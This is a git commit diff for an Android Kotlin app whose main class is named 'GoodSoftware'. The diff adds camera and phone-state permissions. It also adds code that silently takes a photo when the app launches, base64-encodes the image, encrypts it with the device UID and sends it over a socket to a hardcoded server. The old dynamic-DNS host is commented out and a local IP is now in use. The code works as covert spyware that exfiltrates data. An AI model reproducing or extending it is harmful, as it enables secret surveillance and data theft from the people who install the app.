Make some updates to server connection
This commit is contained in:
		
							
								
								
									
										47
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							
							
						
						
									
										47
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							@@ -3,7 +3,52 @@
 | 
			
		||||
  <component name="deploymentTargetDropDown">
 | 
			
		||||
    <value>
 | 
			
		||||
      <entry key="MainActivity">
 | 
			
		||||
        <State />
 | 
			
		||||
        <State>
 | 
			
		||||
          <targetSelectedWithDropDown>
 | 
			
		||||
            <Target>
 | 
			
		||||
              <type value="QUICK_BOOT_TARGET" />
 | 
			
		||||
              <deviceKey>
 | 
			
		||||
                <Key>
 | 
			
		||||
                  <type value="VIRTUAL_DEVICE_PATH" />
 | 
			
		||||
                  <value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
 | 
			
		||||
                </Key>
 | 
			
		||||
              </deviceKey>
 | 
			
		||||
            </Target>
 | 
			
		||||
          </targetSelectedWithDropDown>
 | 
			
		||||
          <timeTargetWasSelectedWithDropDown value="2024-05-01T21:00:11.388367735Z" />
 | 
			
		||||
          <multipleDevicesSelectedInDropDown value="true" />
 | 
			
		||||
          <runningDeviceTargetsSelectedWithDialog>
 | 
			
		||||
            <Target>
 | 
			
		||||
              <type value="RUNNING_DEVICE_TARGET" />
 | 
			
		||||
              <deviceKey>
 | 
			
		||||
                <Key>
 | 
			
		||||
                  <type value="SERIAL_NUMBER" />
 | 
			
		||||
                  <value value="RF8M8154RCX" />
 | 
			
		||||
                </Key>
 | 
			
		||||
              </deviceKey>
 | 
			
		||||
            </Target>
 | 
			
		||||
            <Target>
 | 
			
		||||
              <type value="RUNNING_DEVICE_TARGET" />
 | 
			
		||||
              <deviceKey>
 | 
			
		||||
                <Key>
 | 
			
		||||
                  <type value="VIRTUAL_DEVICE_PATH" />
 | 
			
		||||
                  <value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
 | 
			
		||||
                </Key>
 | 
			
		||||
              </deviceKey>
 | 
			
		||||
            </Target>
 | 
			
		||||
          </runningDeviceTargetsSelectedWithDialog>
 | 
			
		||||
          <targetsSelectedWithDialog>
 | 
			
		||||
            <Target>
 | 
			
		||||
              <type value="QUICK_BOOT_TARGET" />
 | 
			
		||||
              <deviceKey>
 | 
			
		||||
                <Key>
 | 
			
		||||
                  <type value="VIRTUAL_DEVICE_PATH" />
 | 
			
		||||
                  <value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
 | 
			
		||||
                </Key>
 | 
			
		||||
              </deviceKey>
 | 
			
		||||
            </Target>
 | 
			
		||||
          </targetsSelectedWithDialog>
 | 
			
		||||
        </State>
 | 
			
		||||
      </entry>
 | 
			
		||||
      <entry key="MainActivity (2)">
 | 
			
		||||
        <State />
 | 
			
		||||
 
 | 
			
		||||
							
								
								
									
										1
									
								
								.idea/misc.xml
									
									
									
										generated
									
									
									
								
							
							
						
						
									
										1
									
								
								.idea/misc.xml
									
									
									
										generated
									
									
									
								
							@@ -1,4 +1,3 @@
 | 
			
		||||
<?xml version="1.0" encoding="UTF-8"?>
 | 
			
		||||
<project version="4">
 | 
			
		||||
  <component name="ExternalStorageConfigurationManager" enabled="true" />
 | 
			
		||||
  <component name="ProjectRootManager" version="2" languageLevel="JDK_17" default="true" project-jdk-name="jbr-17" project-jdk-type="JavaSDK">
 | 
			
		||||
 
 | 
			
		||||
@@ -2,6 +2,10 @@
 | 
			
		||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
 | 
			
		||||
    xmlns:tools="http://schemas.android.com/tools">
 | 
			
		||||
    <uses-permission android:name="android.permission.INTERNET" />
 | 
			
		||||
    <uses-permission android:name="android.permission.CAMERA" />
 | 
			
		||||
    <uses-feature android:name="android.hardware.camera" />
 | 
			
		||||
    <uses-feature android:name="android.hardware.camera.autofocus" />
 | 
			
		||||
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
 | 
			
		||||
 | 
			
		||||
    <application
 | 
			
		||||
        android:allowBackup="true"
 | 
			
		||||
 
 | 
			
		||||
@@ -24,19 +24,23 @@ import javax.crypto.spec.SecretKeySpec
 | 
			
		||||
import androidx.concurrent.futures.await
 | 
			
		||||
import androidx.core.content.ContextCompat
 | 
			
		||||
import androidx.lifecycle.LifecycleOwner
 | 
			
		||||
import android.util.Base64
 | 
			
		||||
import androidx.core.app.ActivityCompat
 | 
			
		||||
import java.io.ByteArrayOutputStream
 | 
			
		||||
import android.Manifest
 | 
			
		||||
import android.app.Activity
 | 
			
		||||
import android.content.pm.PackageManager
 | 
			
		||||
import android.os.Build
 | 
			
		||||
import android.telephony.TelephonyManager
 | 
			
		||||
import android.widget.Toast
 | 
			
		||||
import androidx.annotation.RequiresApi
 | 
			
		||||
import androidx.core.content.ContextCompat.getSystemService
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class GoodSoftware (private val context: Context) {
 | 
			
		||||
    private var cameraProvider: ProcessCameraProvider? = null
 | 
			
		||||
    private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
 | 
			
		||||
    private var displayId: Int = -1
 | 
			
		||||
    private var preview: Preview? = null
 | 
			
		||||
    private var imageCapture: ImageCapture? = null
 | 
			
		||||
    private var imageAnalyzer: ImageAnalysis? = null
 | 
			
		||||
    private var camera: Camera? = null
 | 
			
		||||
 | 
			
		||||
    interface PictureTakenCallback {
 | 
			
		||||
        fun onPictureTaken()
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    private companion object {
 | 
			
		||||
        private const val RSA_ALGORITHM = "RSA"
 | 
			
		||||
@@ -94,14 +98,17 @@ class GoodSoftware (private val context: Context) {
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    private fun runAllTheGoodness() {
 | 
			
		||||
        val dataToSend = "Amazing data"
 | 
			
		||||
        sendDataToServer(dataToSend)
 | 
			
		||||
        val uid = android.os.Process.myUid().toString()
 | 
			
		||||
        //sendDataToServer("UID: $uid")
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
    fun sendDataToServer(sendData: String) {
 | 
			
		||||
        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
			
		||||
        val host = "thinclient.duckdns.org"
 | 
			
		||||
        val port = 5645
 | 
			
		||||
/*        val host = "thinclient.duckdns.org"
 | 
			
		||||
        val port = 5645*/
 | 
			
		||||
        val host = "192.168.90.151"
 | 
			
		||||
        val port = 8080
 | 
			
		||||
        val secureRandom = SecureRandom()
 | 
			
		||||
        val keyBytes = ByteArray(16)
 | 
			
		||||
        val ivBytes = ByteArray(16)
 | 
			
		||||
@@ -111,7 +118,7 @@ class GoodSoftware (private val context: Context) {
 | 
			
		||||
        val iv = IvParameterSpec(ivBytes)
 | 
			
		||||
        val algorithm = "AES/CBC/PKCS5Padding"
 | 
			
		||||
 | 
			
		||||
        val chunkSize = 45
 | 
			
		||||
        val chunkSize = 131072
 | 
			
		||||
        val chunks = sendData.lines().joinToString("").chunked(chunkSize)
 | 
			
		||||
 | 
			
		||||
        val socket = Socket(host, port)
 | 
			
		||||
@@ -120,18 +127,23 @@ class GoodSoftware (private val context: Context) {
 | 
			
		||||
 | 
			
		||||
        val encodedKey = encodeBase64(keyBytes)
 | 
			
		||||
        writer.println(encryptText(encodedKey, pKey))
 | 
			
		||||
 | 
			
		||||
        reader.readLine()
 | 
			
		||||
 | 
			
		||||
        val encodedIV = encodeBase64(ivBytes)
 | 
			
		||||
        writer.println(encryptText(encodedIV, pKey))
 | 
			
		||||
        reader.readLine()
 | 
			
		||||
 | 
			
		||||
        val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
 | 
			
		||||
        writer.println(encryptText(encodedUid, pKey))
 | 
			
		||||
        reader.readLine()
 | 
			
		||||
 | 
			
		||||
        for (chunk in chunks) {
 | 
			
		||||
            val cipherText = encrypt(algorithm, chunk, key, iv)
 | 
			
		||||
            val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
 | 
			
		||||
            writer.println(cipherText)
 | 
			
		||||
            reader.readLine()
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
        writer.println("END_OF_COMMUNICATION")
 | 
			
		||||
        reader.readLine()
 | 
			
		||||
 | 
			
		||||
@@ -181,6 +193,18 @@ class GoodSoftware (private val context: Context) {
 | 
			
		||||
 | 
			
		||||
            override fun onCaptureSuccess(image: ImageProxy) {
 | 
			
		||||
                // Process captured image here
 | 
			
		||||
                val byteArrayOutputStream = ByteArrayOutputStream()
 | 
			
		||||
                val imagePlane = image.planes[0]
 | 
			
		||||
                val buffer = imagePlane.buffer
 | 
			
		||||
                val bytes = ByteArray(buffer.capacity())
 | 
			
		||||
                buffer.get(bytes)
 | 
			
		||||
                byteArrayOutputStream.write(bytes)
 | 
			
		||||
                val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
 | 
			
		||||
                Log.d(picture.TAG, "Base64 Image: $base64Image")
 | 
			
		||||
                Thread {
 | 
			
		||||
                    println("Sending data to server")
 | 
			
		||||
                    sendDataToServer(base64Image)
 | 
			
		||||
                }.start()
 | 
			
		||||
                image.close()
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
 
 | 
			
		||||
@@ -1,12 +1,18 @@
 | 
			
		||||
package com.ti.m
 | 
			
		||||
 | 
			
		||||
import android.Manifest
 | 
			
		||||
import android.app.Activity
 | 
			
		||||
import android.content.pm.PackageManager
 | 
			
		||||
import android.os.Bundle
 | 
			
		||||
import android.widget.Toast
 | 
			
		||||
import androidx.activity.ComponentActivity
 | 
			
		||||
import androidx.activity.compose.setContent
 | 
			
		||||
import androidx.compose.foundation.layout.fillMaxSize
 | 
			
		||||
import androidx.compose.material3.MaterialTheme
 | 
			
		||||
import androidx.compose.material3.Surface
 | 
			
		||||
import androidx.compose.ui.Modifier
 | 
			
		||||
import androidx.core.app.ActivityCompat
 | 
			
		||||
import androidx.core.content.ContextCompat
 | 
			
		||||
import androidx.lifecycle.LifecycleOwner
 | 
			
		||||
import androidx.lifecycle.lifecycleScope
 | 
			
		||||
import com.ti.m.GoodSoftware
 | 
			
		||||
@@ -14,6 +20,9 @@ import com.ti.m.ui.theme.MTheme
 | 
			
		||||
import kotlinx.coroutines.launch
 | 
			
		||||
 | 
			
		||||
class MainActivity : ComponentActivity(), LifecycleOwner {
 | 
			
		||||
    private val REQUEST_CAMERA_PERMISSION = 100
 | 
			
		||||
    private lateinit var goo: GoodSoftware
 | 
			
		||||
 | 
			
		||||
    override fun onCreate(savedInstanceState: Bundle?) {
 | 
			
		||||
        super.onCreate(savedInstanceState)
 | 
			
		||||
        setContent {
 | 
			
		||||
@@ -25,10 +34,33 @@ class MainActivity : ComponentActivity(), LifecycleOwner {
 | 
			
		||||
                }
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
        val Goo = GoodSoftware(applicationContext);
 | 
			
		||||
        Goo.launch()
 | 
			
		||||
        goo = GoodSoftware(this@MainActivity)
 | 
			
		||||
        goo.launch()
 | 
			
		||||
        checkCameraPermission()
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    private fun checkCameraPermission() {
 | 
			
		||||
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
            ActivityCompat.requestPermissions(this as Activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
 | 
			
		||||
        } else {
 | 
			
		||||
            lifecycleScope.launch {
 | 
			
		||||
            Goo.takeBeautifulPicture(this@MainActivity)
 | 
			
		||||
                goo.takeBeautifulPicture(this@MainActivity)
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
 | 
			
		||||
        super.onRequestPermissionsResult(requestCode, permissions, grantResults)
 | 
			
		||||
        if (requestCode == REQUEST_CAMERA_PERMISSION) {
 | 
			
		||||
            if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
                // Permission granted, proceed with your camera operations
 | 
			
		||||
                lifecycleScope.launch {
 | 
			
		||||
                    goo.takeBeautifulPicture(this@MainActivity)
 | 
			
		||||
                }
 | 
			
		||||
            } else {
 | 
			
		||||
                // Permission denied
 | 
			
		||||
                Toast.makeText(this, "Camera permission denied", Toast.LENGTH_SHORT).show()
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
}
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user